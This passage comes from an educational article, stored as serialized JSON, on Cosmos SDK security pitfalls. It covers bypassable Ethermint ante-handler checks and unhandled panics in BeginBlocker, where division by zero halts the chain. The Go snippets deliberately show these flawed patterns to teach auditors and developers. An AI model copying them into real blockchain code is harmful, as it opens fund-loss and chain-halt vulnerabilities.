opts",{"type":23,"tag":139,"props":78251,"children":78252},{"style":259},[78253],{"type":28,"value":1723},{"type":23,"tag":139,"props":78255,"children":78256},{"style":1016},[78257],{"type":28,"value":2021},{"type":23,"tag":139,"props":78259,"children":78260},{"style":259},[78261],{"type":28,"value":48246},{"type":23,"tag":139,"props":78263,"children":78264},{"style":245},[78265],{"type":28,"value":78266},"GetTypeUrl",{"type":23,"tag":139,"props":78268,"children":78269},{"style":259},[78270],{"type":28,"value":26470},{"type":23,"tag":139,"props":78272,"children":78273},{"style":294},[78274],{"type":28,"value":78275},"typeURL",{"type":23,"tag":139,"props":78277,"children":78278},{"style":259},[78279],{"type":28,"value":1268},{"type":23,"tag":139,"props":78281,"children":78282},{"class":141,"line":1753},[78283,78288,78293],{"type":23,"tag":139,"props":78284,"children":78285},{"style":319},[78286],{"type":28,"value":78287},"                case",{"type":23,"tag":139,"props":78289,"children":78290},{"style":265},[78291],{"type":28,"value":78292}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":139,"props":78294,"children":78295},{"style":259},[78296],{"type":28,"value":313},{"type":23,"tag":139,"props":78298,"children":78299},{"class":141,"line":1783},[78300],{"type":23,"tag":139,"props":78301,"children":78302},{"style":958},[78303],{"type":28,"value":78304},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":139,"props":78306,"children":78307},{"class":141,"line":1791},[78308],{"type":23,"tag":139,"props":78309,"children":78310},{"emptyLinePlaceholder":15},[78311],{"type":28,"value":184},{"type":23,"tag":139,"props":78313,"children":78314},{"class":141,"line":1823},[78315,78320,78324,78328,78332,78337],{"type":23,"tag":139,"props":78316,"children":78317},{"style":294},[78318],{"type":28,"value":78319},"                    anteHandler",{"type":23,"tag":139,"props":78321,"children":78322},{"style":982},[78323],{"type":28,"value":985},{"type":23,"tag":139,"props":78325,"children":78326},{"style":294},[78327],{"type":28,"value":76545},{"type":23,"tag":139,"props":78329,"children":78330},{"style":259},[78331],{"type":28,"value":73},{"type":23,"tag":139,"props":78333,"children":78334},{"style":245},[78335],{"type":28,"value":78336},"ChainAnteDecorators",{"type":23,"tag":139,"props":78338,"children":78339},{"style":259},[78340],{"type":28,"value":1443},{"type":23,"tag":139,"props":78342,"children":78343},{"class":141,"line":1831},[78344,78349,78353],{"type":23,"tag":139,"props":78345,"children":78346},{"style":245},[78347],{"type":28,"value":78348},"                        NewEthSetUpContextDecorator",{"type":23,"tag":139,"props":78350,"children":78351},{"style":259},[78352],{"type":28,"value":16389},{"type":23,"tag":139,"props":78354,"children":78355},{"style":958},[78356],{"type":28,"value":77199},{"type":23,"tag":139,"props":78358,"children":78359},{"class":141,"line":1891},[78360],{"type":23,"tag":139,"props":78361,"children":78362},{"style":982},[78363],{"type":28,"value":78364},"                        ...\n",{"type":23,"tag":139,"props":78366,"children":78367},{"class":141,"line":7053},[78368,78373,78377,78382,78386],{"type":23,"tag":139,"props":78369,"children":78370},{"style":245},[78371],{"type":28,"value":78372},"                        NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":139,"props":78374,"children":78375},{"style":259},[78376],{"type":28,"value":262},{"type":23,"tag":139,"props":78378,"children":78379},{"style":294},[78380],{"type":28,"value":78381},"ak",{"type":23,"tag":139,"props":78383,"children":78384},{"style":259},[78385],{"type":28,"value":13189},{"type":23,"tag":139,"props":78387,"children":78388},{"style":958},[78389],{"type":28,"value":78390},"// innermost AnteDecorator.\n",{"type":23,"tag":139,"props":78392,"children":78393},{"class":141,"line":7071},[78394],{"type":23,"tag":139,"props":78395,"children":78396},{"style":259},[78397],{"type":28,"value":78398},"                    )\n",{"type":23,"tag":139,"props":78400,"children":78401},{"class":141,"line":7116},[78402],{"type":23,"tag":139,"props":78403,"children":78404},{"emptyLinePlaceholder":15},[78405],{"type":28,"value":184},{"type":23,"tag":139,"props":78407,"children":78408},{"class":141,"line":7222},[78409,78414],{"type":23,"tag":139,"props":78410,"children":78411},{"style":319},[78412],{"type":28,"value":78413},"                default",{"type":23,"tag":139,"props":78415,"children":78416},{"style":259},[78417],{"type":28,"value":313},{"type":23,"tag":139,"props":78419,"children":78420},{"class":141,"line":21518},[78421,78426,78430,78434,78439,78443,78448],{"type":23,"tag":139,"props":78422,"children":78423},{"style":319},[78424],{"type":28,"value":78425},"                    return",{"type":23,"tag":139,"props":78427,"children":78428},{"style":294},[78429],{"type":28,"value":23864},{"type":23,"tag":139,"props":78431,"children":78432},{"style":259},[78433],{"type":28,"value":1052},{"type":23,"tag":139,"props":78435,"children":78436},{"style":294},[78437],{"type":28,"value":78438},"stacktrace",{"type":23,"tag":139,"props":78440,"children":78441},{"style":259},[78442],{"type":28,"value":73},{"type":23,"tag":139,"props":78444,"children":78445},{"style":245},[78446],{"type":28,"value":78447},"Propagate",{"type":23,"tag":139,"props":78449,"children":78450},{"style":259},[78451],{"type":28,"value":1443},{"type":23,"tag":139,"props":78453,"children":78454},{"class":141,"line":21553},[78455,78460,78464,78468,78472,78477,78481,78486,78490,78494],{"type":23,"tag":139,"props":78456,"children":78457},{"style":294},[78458],{"type":28,"value":78459},"                        sdkerrors",{"type":23,"tag":139,"props":78461,"children":78462},{"style":259},[78463],{"type":28,"value":73},{"type":23,"tag":139,"props":78465,"children":78466},{"style":245},[78467],{"type":28,"value":76750},{"type":23,"tag":139,"props":78469,"children":78470},{"style":259},[78471],{"type":28,"value":262},{"type":23,"tag":139,"props":78473,"children":78474},{"style":294},[78475],{"type":28,"value":78476},"sdkerrors",{"type":23,"tag":139,"props":78478,"children":78479},{"style":259},[78480],{"type":28,"value":73},{"type":23,"tag":139,"props":78482,"children":78483},{"style":294},[78484],{"type":28,"value":78485},"ErrUnknownExtensionOptions",{"type":23,"tag":139,"props":78487,"children":78488},{"style":259},[78489],{"type":28,"value":1052},{"type":23,"tag":139,"props":78491,"children":78492},{"style":294},[78493],{"type":28,"value":78275},{"type":23,"tag":139,"props":78495,"children":78496},{"style":259},[78497],{"type":28,"value":4739},{"type":23,"tag":139,"props":78499,"children":78500},{"class":141,"line":21561},[78501,78506],{"type":23,"tag":139,"props":78502,"children":78503},{"style":265},[78504],{"type":28,"value":78505},"                        \"rejecting tx with unsupported extension option\"",{"type":23,"tag":139,"props":78507,"children":78508},{"style":259},[78509],{"type":28,"value":1488},{"type":23,"tag":139,"props":78511,"children":78512},{"class":141,"line":21569},[78513],{"type":23,"tag":139,"props":78514,"children":78515},{"style":259},[78516],{"type":28,"value":78398},{"type":23,"tag":139,"props":78518,"children":78519},{"class":141,"line":21578},[78520],{"type":23,"tag":139,"props":78521,"children":78522},{"style":259},[78523],{"type":28,"value":68973},{"type":23,"tag":139,"props":78525,"children":78526},{"class":141,"line":21620},[78527],{"type":23,"tag":139,"props":78528,"children":78529},{"emptyLinePlaceholder":15},[78530],{"type":28,"value":184},{"type":23,"tag":139,"props":78532,"children":78533},{"class":141,"line":21653},[78534,78538,78542,78546,78550,78554,78558,78562,78566],{"type":23,"tag":139,"props":78535,"children":78536},{"style":319},[78537],{"type":28,"value":58628},{"type":23,"tag":139,"props":78539,"children":78540},{"style":245},[78541],{"type":28,"value":78027},{"type":23,"tag":139,"props":78543,"children":78544},{"style":259},[78545],{"type":28,"value":262},{"type":23,"tag":139,"props":78547,"children":78548},{"style":294},[78549],{"type":28,"value":18288},{"type":23,"tag":139,"props":78551,"children":78552},{"style":259},[78553],{"type":28,"value":1052},{"type":23,"tag":139,"props":78555,"children":78556},{"style":294},[78557],{"type":28,"value":77085},{"type":23,"tag":139,"props":78559,"children":78560},{"style":259},[78561],{"type":28,"value":1052},{"type":23,"tag":139,"props":78563,"children":78564},{"style":294},[78565],{"type":28,"value":77965},{"type":23,"tag":139,"props":78567,"children":78568},{"style":259},[78569],{"type":28,"value":273},{"type":23,"tag":139,"props":78571,"children":78572},{"class":141,"line":21661},[78573],{"type":23,"tag":139,"props":78574,"children":78575},{"style":259},[78576],{"type":28,"value":56784},{"type":23,"tag":139,"props":78578,"children":78579},{"class":141,"line":21669},[78580],{"type":23,"tag":139,"props":78581,"children":78582},{"style":259},[78583],{"type":28,"value":1326},{"type":23,"tag":139,"props":78585,"children":78586},{"class":141,"line":21678},[78587],{"type":23,"tag":139,"props":78588,"children":78589},{"emptyLinePlaceholder":15},[78590],{"type":28,"value":184},{"type":23,"tag":139,"props":78592,"children":78593},{"class":141,"line":21754},[78594],{"type":23,"tag":139,"props":78595,"children":78596},{"style":958},[78597],{"type":28,"value":78598},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":139,"props":78600,"children":78601},{"class":141,"line":21787},[78602],{"type":23,"tag":139,"props":78603,"children":78604},{"emptyLinePlaceholder":15},[78605],{"type":28,"value":184},{"type":23,"tag":139,"props":78607,"children":78608},{"class":141,"line":21795},[78609,78614,78618,78622,78626],{"type":23,"tag":139,"props":78610,"children":78611},{"style":319},[78612],{"type":28,"value":78613},"        switch",{"type":23,"tag":139,"props":78615,"children":78616},{"style":294},[78617],{"type":28,"value":65929},{"type":23,"tag":139,"props":78619,"children":78620},{"style":259},[78621],{"type":28,"value":76684},{"type":23,"tag":139,"props":78623,"children":78624},{"style":279},[78625],{"type":28,"value":30644},{"type":23,"tag":139,"props":78627,"children":78628},{"style":259},[78629],{"type":28,"value":12815},{"type":23,"tag":139,"props":78631,"children":78632},{"class":141,"line":21803},[78633,78638,78642,78646,78650],{"type":23,"tag":139,"props":78634,"children":78635},{"style":319},[78636],{"type":28,"value":78637},"        case",{"type":23,"tag":139,"props":78639,"children":78640},{"style":305},[78641],{"type":28,"value":76545},{"type":23,"tag":139,"props":78643,"children":78644},{"style":259},[78645],{"type":28,"value":73},{"type":23,"tag":139,"props":78647,"children":78648},{"style":305},[78649],{"type":28,"value":76578},{"type":23,"tag":139,"props":78651,"children":78652},{"style":259},[78653],{"type":28,"value":313},{"type":23,"tag":139,"props":78655,"children":78656},{"class":141,"line":21840},[78657,78662,78666,78670,78674,78678],{"type":23,"tag":139,"props":78658,"children":78659},{"style":294},[78660],{"type":28,"value":78661},"            anteHandler",{"type":23,"tag":139,"props":78663,"children":78664},{"style":982},[78665],{"type":28,"value":985},{"type":23,"tag":139,"props":78667,"children":78668},{"style":294},[78669],{"type":28,"value":76545},{"type":23,"tag":139,"props":78671,"children":78672},{"style":259},[78673],{"type":28,"value":73},{"type":23,"tag":139,"props":78675,"children":78676},{"style":245},[78677],{"type":28,"value":78336},{"type":23,"tag":139,"props":78679,"children":78680},{"style":259},[78681],{"type":28,"value":1443},{"type":23,"tag":139,"props":78683,"children":78684},{"class":141,"line":21853},[78685,78690,78694,78699,78703],{"type":23,"tag":139,"props":78686,"children":78687},{"style":294},[78688],{"type":28,"value":78689},"                authante",{"type":23,"tag":139,"props":78691,"children":78692},{"style":259},[78693],{"type":28,"value":73},{"type":23,"tag":139,"props":78695,"children":78696},{"style":245},[78697],{"type":28,"value":78698},"NewSetUpContextDecorator",{"type":23,"tag":139,"props":78700,"children":78701},{"style":259},[78702],{"type":28,"value":16389},{"type":23,"tag":139,"props":78704,"children":78705},{"style":958},[78706],{"type":28,"value":77199},{"type":23,"tag":139,"props":78708,"children":78709},{"class":141,"line":21866},[78710],{"type":23,"tag":139,"props":78711,"children":78712},{"style":982},[78713],{"type":28,"value":78714},"                 ...\n",{"type":23,"tag":139,"props":78716,"children":78717},{"class":141,"line":21879},[78718,78722,78726,78731,78735,78739,78743],{"type":23,"tag":139,"props":78719,"children":78720},{"style":294},[78721],{"type":28,"value":78689},{"type":23,"tag":139,"props":78723,"children":78724},{"style":259},[78725],{"type":28,"value":73},{"type":23,"tag":139,"props":78727,"children":78728},{"style":245},[78729],{"type":28,"value":78730},"NewIncrementSequenceDecorator",{"type":23,"tag":139,"props":78732,"children":78733},{"style":259},[78734],{"type":28,"value":262},{"type":23,"tag":139,"props":78736,"children":78737},{"style":294},[78738],{"type":28,"value":78381},{"type":23,"tag":139,"props":78740,"children":78741},{"style":259},[78742],{"type":28,"value":13189},{"type":23,"tag":139,"props":78744,"children":78745},{"style":958},[78746],{"type":28,"value":78747},"// innermost AnteDecorator\n",{"type":23,"tag":139,"props":78749,"children":78750},{"class":141,"line":21933},[78751],{"type":23,"tag":139,"props":78752,"children":78753},{"style":259},[78754],{"type":28,"value":75419},{"type":23,"tag":139,"props":78756,"children":78757},{"class":141,"line":21942},[78758,78763],{"type":23,"tag":139,"props":78759,"children":78760},{"style":319},[78761],{"type":28,"value":78762},"        default",{"type":23,"tag":139,"props":78764,"children":78765},{"style":259},[78766],{"type":28,"value":313},{"type":23,"tag":139,"props":78768,"children":78769},{"class":141,"line":30168},[78770,78774,78778,78782,78786,78790,78794],{"type":23,"tag":139,"props":78771,"children":78772},{"style":319},[78773],{"type":28,"value":76980},{"type":23,"tag":139,"props":78775,"children":78776},{"style":294},[78777],{"type":28,"value":23864},{"type":23,"tag":139,"props":78779,"children":78780},{"style":259},[78781],{"type":28,"value":1052},{"type":23,"tag":139,"props":78783,"children":78784},{"style":294},[78785],{"type":28,"value":78438},{"type":23,"tag":139,"props":78787,"children":78788},{"style":259},[78789],{"type":28,"value":73},{"type":23,"tag":139,"props":78791,"children":78792},{"style":245},[78793],{"type":28,"value":78447},{"type":23,"tag":139,"props":78795,"children":78796},{"style":259},[78797],{"type":28,"value":1443},{"type":23,"tag":139,"props":78799,"children":78800},{"class":141,"line":30189},[78801,78806,78810,78815,78819,78823,78827,78832,78836,78841,78845,78849],{"type":23,"tag":139,"props":78802,"children":78803},{"style":294},[78804],{"type":28,"value":78805},"                sdkerrors",{"type":23,"tag":139,"props":78807,"children":78808},{"style":259},[78809],{"type":28,"value":73},{"type":23,"tag":139,"props":78811,"children":78812},{"style":245},[78813],{"type":28,"value":78814},"Wrapf",{"type":23,"tag":139,"props":78816,"children":78817},{"style":259},[78818],{"type":28,"value":262},{"type":23,"tag":139,"props":78820,"children":78821},{"style":294},[78822],{"type":28,"value":78476},{"type":23,"tag":139,"props":78824,"children":78825},{"style":259},[78826],{"type":28,"value":73},{"type":23,"tag":139,"props":78828,"children":78829},{"style":294},[78830],{"type":28,"value":78831},"ErrUnknownRequest",{"type":23,"tag":139,"props":78833,"children":78834},{"style":259},[78835],{"type":28,"value":1052},{"type":23,"tag":139,"props":78837,"children":78838},{"style":265},[78839],{"type":28,"value":78840},"\"invalid transaction type: %T\"",{"type":23,"tag":139,"props":78842,"children":78843},{"style":259},[78844],{"type":28,"value":1052},{"type":23,"tag":139,"props":78846,"children":78847},{"style":294},[78848],{"type":28,"value":77085},{"type":23,"tag":139,"props":78850,"children":78851},{"style":259},[78852],{"type":28,"value":4739},{"type":23,"tag":139,"props":78854,"children":78856},{"class":141,"line":78855},53,[78857,78862],{"type":23,"tag":139,"props":78858,"children":78859},{"style":265},[78860],{"type":28,"value":78861},"                \"transaction is not an SDK tx\"",{"type":23,"tag":139,"props":78863,"children":78864},{"style":259},[78865],{"type":28,"value":1488},{"type":23,"tag":139,"props":78867,"children":78869},{"class":141,"line":78868},54,[78870],{"type":23,"tag":139,"props":78871,"children":78872},{"style":259},[78873],{"type":28,"value":75419},{"type":23,"tag":139,"props":78875,"children":78877},{"class":141,"line":78876},55,[78878],{"type":23,"tag":139,"props":78879,"children":78880},{"style":259},[78881],{"type":28,"value":1326},{"type":23,"tag":139,"props":78883,"children":78885},{"class":141,"line":78884},56,[78886],{"type":23,"tag":139,"props":78887,"children":78888},{"emptyLinePlaceholder":15},[78889],{"type":28,"value":184},{"type":23,"tag":139,"props":78891,"children":78893},{"class":141,"line":78892},57,[78894,78898,78902,78906,78910,78914,78918,78922,78926],{"type":23,"tag":139,"props":78895,"children":78896},{"style":319},[78897],{"type":28,"value":13755},{"type":23,"tag":139,"props":78899,"children":78900},{"style":245},[78901],{"type":28,"value":78027},{"type":23,"tag":139,"props":78903,"children":78904},{"style":259},[78905],{"type":28,"value":262},{"type":23,"tag":139,"props":78907,"children":78908},{"style":294},[78909],{"type":28,"value":18288},{"type":23,"tag":139,"props":78911,"children":78912},{"style":259},[78913],{"type":28,"value":1052},{"type":23,"tag":139,"props":78915,"children":78916},{"style":294},[78917],{"type":28,"value":77085},{"type":23,"tag":139,"props":78919,"children":78920},{"style":259},[78921],{"type":28,"value":1052},{"type":23,"tag":139,"props":78923,"children":78924},{"style":294},[78925],{"type":28,"value":77965},{"type":23,"tag":139,"props":78927,"children":78928},{"style":259},[78929],{"type":28,"value":273},{"type":23,"tag":139,"props":78931,"children":78933},{"class":141,"line":78932},58,[78934],{"type":23,"tag":139,"props":78935,"children":78936},{"style":259},[78937],{"type":28,"value":1335},{"type":23,"tag":139,"props":78939,"children":78941},{"class":141,"line":78940},59,[78942],{"type":23,"tag":139,"props":78943,"children":78944},{"style":259},[78945],{"type":28,"value":1897},{"type":23,"tag":24,"props":78947,"children":78948},{},[78949,78951,78956,78958,78965,78966,78973],{"type":28,"value":78950},"Additional examples of incorrect ",{"type":23,"tag":135,"props":78952,"children":78954},{"className":78953},[],[78955],{"type":28,"value":76374},{"type":28,"value":78957}," usage include ",{"type":23,"tag":64,"props":78959,"children":78962},{"href":78960,"rel":78961},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[68],[78963],{"type":28,"value":78964},"yet more bypassable checks and loss of funds",{"type":28,"value":9002},{"type":23,"tag":64,"props":78967,"children":78970},{"href":78968,"rel":78969},"https://github.com/cosmos/ibc-go/issues/853",[68],[78971],{"type":28,"value":78972},"incorrect data passing between blockchains",{"type":28,"value":73},{"type":23,"tag":41,"props":78975,"children":78977},{"id":78976},"errors-panics-i-can-handle-it",[78978],{"type":28,"value":78979},"Errors? Panics? I can handle it",{"type":23,"tag":24,"props":78981,"children":78982},{},[78983],{"type":28,"value":78984},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":24,"props":78986,"children":78987},{},[78988],{"type":28,"value":78989},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":24,"props":78991,"children":78992},{},[78993,78995,79001,79003,79008],{"type":28,"value":78994},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":135,"props":78996,"children":78998},{"className":78997},[],[78999],{"type":28,"value":79000},"k.keeper.TotalReward()",{"type":28,"value":79002}," returns zero, the ",{"type":23,"tag":135,"props":79004,"children":79006},{"className":79005},[],[79007],{"type":28,"value":55845},{"type":28,"value":79009}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":128,"props":79011,"children":79013},{"code":79012,"language":74068,"meta":7,"className":74069,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[79014],{"type":23,"tag":135,"props":79015,"children":79016},{"__ignoreMap":7},[79017,79050,79073,79101,79137,79144,79213,79251,79258,79290],{"type":23,"tag":139,"props":79018,"children":79019},{"class":141,"line":142},[79020,79024,79028,79033,79037,79041,79046],{"type":23,"tag":139,"props":79021,"children":79022},{"style":279},[79023],{"type":28,"value":74204},{"type":23,"tag":139,"props":79025,"children":79026},{"style":259},[79027],{"type":28,"value":1042},{"type":23,"tag":139,"props":79029,"children":79030},{"style":294},[79031],{"type":28,"value":79032},"k ",{"type":23,"tag":139,"props":79034,"children":79035},{"style":305},[79036],{"type":28,"value":74218},{"type":23,"tag":139,"props":79038,"children":79039},{"style":259},[79040],{"type":28,"value":1062},{"type":23,"tag":139,"props":79042,"children":79043},{"style":245},[79044],{"type":28,"value":79045},"AllocateReward",{"type":23,"tag":139,"props":79047,"children":79048},{"style":259},[79049],{"type":28,"value":1443},{"type":23,"tag":139,"props":79051,"children":79052},{"class":141,"line":151},[79053,79057,79061,79065,79069],{"type":23,"tag":139,"props":79054,"children":79055},{"style":294},[79056],{"type":28,"value":74239},{"type":23,"tag":139,"props":79058,"children":79059},{"style":305},[79060],{"type":28,"value":74244},{"type":23,"tag":139,"props":79062,"children":79063},{"style":259},[79064],{"type":28,"value":73},{"type":23,"tag":139,"props":79066,"children":79067},{"style":305},[79068],{"type":28,"value":74253},{"type":23,"tag":139,"props":79070,"children":79071},{"style":259},[79072],{"type":28,"value":1488},{"type":23,"tag":139,"props":79074,"children":79075},{"class":141,"line":160},[79076,79080,79084,79088,79092,79097],{"type":23,"tag":139,"props":79077,"children":79078},{"style":294},[79079],{"type":28,"value":74265},{"type":23,"tag":139,"props":79081,"children":79082},{"style":982},[79083],{"type":28,"value":7825},{"type":23,"tag":139,"props":79085,"children":79086},{"style":305},[79087],{"type":28,"value":3760},{"type":23,"tag":139,"props":79089,"children":79090},{"style":259},[79091],{"type":28,"value":73},{"type":23,"tag":139,"props":79093,"children":79094},{"style":305},[79095],{"type":28,"value":79096},"MsgAllocateReward",{"type":23,"tag":139,"props":79098,"children":79099},{"style":259},[79100],{"type":28,"value":273},{"type":23,"tag":139,"props":79102,"children":79103},{"class":141,"line":169},[79104,79108,79112,79116,79120,79125,79129,79133],{"type":23,"tag":139,"props":79105,"children":79106},{"style":259},[79107],{"type":28,"value":262},{"type":23,"tag":139,"props":79109,"children":79110},{"style":982},[79111],{"type":28,"value":2573},{"type":23,"tag":139,"props":79113,"children":79114},{"style":305},[79115],{"type":28,"value":3760},{"type":23,"tag":139,"props":79117,"children":79118},{"style":259},[79119],{"type":28,"value":73},{"type":23,"tag":139,"props":79121,"children":79122},{"style":305},[79123],{"type":28,"value":79124},"MsgAllocatRewardResponse",{"type":23,"tag":139,"props":79126,"children":79127},{"style":259},[79128],{"type":28,"value":1052},{"type":23,"tag":139,"props":79130,"children":79131},{"style":305},[79132],{"type":28,"value":12875},{"type":23,"tag":139,"props":79134,"children":79135},{"style":259},[79136],{"type":28,"value":12815},{"type":23,"tag":139,"props":79138,"children":79139},{"class":141,"line":178},[79140],{"type":23,"tag":139,"props":79141,"children":79142},{"emptyLinePlaceholder":15},[79143],{"type":28,"value":184},{"type":23,"tag":139,"props":79145,"children":79146},{"class":141,"line":187},[79147,79152,79156,79161,79165,79170,79174,79179,79183,79187,79192,79196,79200,79204,79209],{"type":23,"tag":139,"props":79148,"children":79149},{"style":294},[79150],{"type":28,"value":79151},"    RewardPerShare",{"type":23,"tag":139,"props":79153,"children":79154},{"style":982},[79155],{"type":28,"value":74320},{"type":23,"tag":139,"props":79157,"children":79158},{"style":294},[79159],{"type":28,"value":79160}," k",{"type":23,"tag":139,"props":79162,"children":79163},{"style":259},[79164],{"type":28,"value":73},{"type":23,"tag":139,"props":79166,"children":79167},{"style":294},[79168],{"type":28,"value":79169},"keeper",{"type":23,"tag":139,"props":79171,"children":79172},{"style":259},[79173],{"type":28,"value":73},{"type":23,"tag":139,"props":79175,"children":79176},{"style":245},[79177],{"type":28,"value":79178},"Shares",{"type":23,"tag":139,"props":79180,"children":79181},{"style":259},[79182],{"type":28,"value":12054},{"type":23,"tag":139,"props":79184,"children":79185},{"style":982},[79186],{"type":28,"value":2583},{"type":23,"tag":139,"props":79188,"children":79189},{"style":294},[79190],{"type":28,"value":79191},"  k",{"type":23,"tag":139,"props":79193,"children":79194},{"style":259},[79195],{"type":28,"value":73},{"type":23,"tag":139,"props":79197,"children":79198},{"style":294},[79199],{"type":28,"value":79169},{"type":23,"tag":139,"props":79201,"children":79202},{"style":259},[79203],{"type":28,"value":73},{"type":23,"tag":139,"props":79205,"children":79206},{"style":245},[79207],{"type":28,"value":79208},"TotalReward",{"type":23,"tag":139,"props":79210,"children":79211},{"style":259},[79212],{"type":28,"value":5739},{"type":23,"tag":139,"props":79214,"children":79215},{"class":141,"line":196},[79216,79221,79225,79229,79233,79238,79242,79247],{"type":23,"tag":139,"props":79217,"children":79218},{"style":294},[79219],{"type":28,"value":79220},"    k",{"type":23,"tag":139,"props":79222,"children":79223},{"style":259},[79224],{"type":28,"value":73},{"type":23,"tag":139,"props":79226,"children":79227},{"style":294},[79228],{"type":28,"value":79169},{"type":23,"tag":139,"props":79230,"children":79231},{"style":259},[79232],{"type":28,"value":73},{"type":23,"tag":139,"props":79234,"children":79235},{"style":245},[79236],{"type":28,"value":79237},"DistributeReward",{"type":23,"tag":139,"props":79239,"children":79240},{"style":259},[79241],{"type":28,"value":262},{"type":23,"tag":139,"props":79243,"children":79244},{"style":294},[79245],{"type":28,"value":79246},"RewardPerShare",{"type":23,"tag":139,"props":79248,"children":79249},{"style":259},[79250],{"type":28,"value":273},{"type":23,"tag":139,"props":79252,"children":79253},{"class":141,"line":205},[79254],{"type":23,"tag":139,"props":79255,"children":79256},{"emptyLinePlaceholder":15},[79257],{"type":28,"value":184},{"type":23,"tag":139,"props":79259,"children":79260},{"class":141,"line":214},[79261,79265,79269,79273,79277,79282,79286],{"type":23,"tag":139,"props":79262,"children":79263},{"style":319},[79264],{"type":28,"value":322},{"type":23,"tag":139,"props":79266,"children":79267},{"style":982},[79268],{"type":28,"value":5144},{"type":23,"tag":139,"props":79270,"children":79271},{"style":294},[79272],{"type":28,"value":3760},{"type":23,"tag":139,"props":79274,"children":79275},{"style":259},[79276],{"type":28,"value":73},{"type":23,"tag":139,"props":79278,"children":79279},{"style":294},[79280],{"type":28,"value":79281},"MsgAllocateRewardResponse",{"type":23,"tag":139,"props":79283,"children":79284},{"style":259},[79285],{"type":28,"value":1052},{"type":23,"tag":139,"props":79287,"children":79288},{"style":279},[79289],{"type":28,"value":74546},{"type":23,"tag":139,"props":79291,"children":79292},{"class":141,"line":1320},[79293],{"type":23,"tag":139,"props":79294,"children":79295},{"style":259},[79296],{"type":28,"value":1897},{"type":23,"tag":24,"props":79298,"children":79299},{},[79300,79302,79308,79309,79315,79316,79322,79324,79329],{"type":28,"value":79301},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":135,"props":79303,"children":79305},{"className":79304},[],[79306],{"type":28,"value":79307},"PreBlocker",{"type":28,"value":1052},{"type":23,"tag":135,"props":79310,"children":79312},{"className":79311},[],[79313],{"type":28,"value":79314},"BeginBlocker",{"type":28,"value":4490},{"type":23,"tag":135,"props":79317,"children":79319},{"className":79318},[],[79320],{"type":28,"value":79321},"EndBlocker",{"type":28,"value":79323},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":135,"props":79325,"children":79327},{"className":79326},[],[79328],{"type":28,"value":79314},{"type":28,"value":79330}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":128,"props":79332,"children":79334},{"code":79333,"language":74068,"meta":7,"className":74069,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[79335],{"type":23,"tag":135,"props":79336,"children":79337},{"__ignoreMap":7},[79338,79403,79410,79458,79486,79493,79505],{"type":23,"tag":139,"props":79339,"children":79340},{"class":141,"line":142},[79341,79345,79350,79354,79358,79362,79366,79370,79374,79378,79383,79387,79391,79395,79399],{"type":23,"tag":139,"props":79342,"children":79343},{"style":279},[79344],{"type":28,"value":74204},{"type":23,"tag":139,"props":79346,"children":79347},{"style":245},[79348],{"type":28,"value":79349}," BeginBlocker",{"type":23,"tag":139,"props":79351,"children":79352},{"style":259},[79353],{"type":28,"value":262},{"type":23,"tag":139,"props":79355,"children":79356},{"style":294},[79357],{"type":28,"value":18288},{"type":23,"tag":139,"props":79359,"children":79360},{"style":305},[79361],{"type":28,"value":74244},{"type":23,"tag":139,"props":79363,"children":79364},{"style":259},[79365],{"type":28,"value":73},{"type":23,"tag":139,"props":79367,"children":79368},{"style":305},[79369],{"type":28,"value":74253},{"type":23,"tag":139,"props":79371,"children":79372},{"style":259},[79373],{"type":28,"value":1052},{"type":23,"tag":139,"props":79375,"children":79376},{"style":294},[79377],{"type":28,"value":79169},{"type":23,"tag":139,"props":79379,"children":79380},{"style":305},[79381],{"type":28,"value":79382}," keeper",{"type":23,"tag":139,"props":79384,"children":79385},{"style":259},[79386],{"type":28,"value":73},{"type":23,"tag":139,"props":79388,"children":79389},{"style":305},[79390],{"type":28,"value":77849},{"type":23,"tag":139,"props":79392,"children":79393},{"style":259},[79394],{"type":28,"value":1062},{"type":23,"tag":139,"props":79396,"children":79397},{"style":305},[79398],{"type":28,"value":12875},{"type":23,"tag":139,"props":79400,"children":79401},{"style":259},[79402],{"type":28,"value":1268},{"type":23,"tag":139,"props":79404,"children":79405},{"class":141,"line":151},[79406],{"type":23,"tag":139,"props":79407,"children":79408},{"emptyLinePlaceholder":15},[79409],{"type":28,"value":184},{"type":23,"tag":139,"props":79411,"children":79412},{"class":141,"line":160},[79413,79417,79421,79425,79429,79433,79437,79441,79446,79450,79454],{"type":23,"tag":139,"props":79414,"children":79415},{"style":294},[79416],{"type":28,"value":79151},{"type":23,"tag":139,"props":79418,"children":79419},{"style":982},[79420],{"type":28,"value":74320},{"type":23,"tag":139,"props":79422,"children":79423},{"style":294},[79424],{"type":28,"value":79382},{"type":23,"tag":139,"props":79426,"children":79427},{"style":259},[79428],{"type":28,"value":73},{"type":23,"tag":139,"props":79430,"children":79431},{"style":245},[79432],{"type":28,"value":79178},{"type":23,"tag":139,"props":79434,"children":79435},{"style":259},[79436],{"type":28,"value":12054},{"type":23,"tag":139,"props":79438,"children":79439},{"style":982},[79440],{"type":28,"value":2583},{"type":23,"tag":139,"props":79442,"children":79443},{"style":294},[79444],{"type":28,"value":79445},"  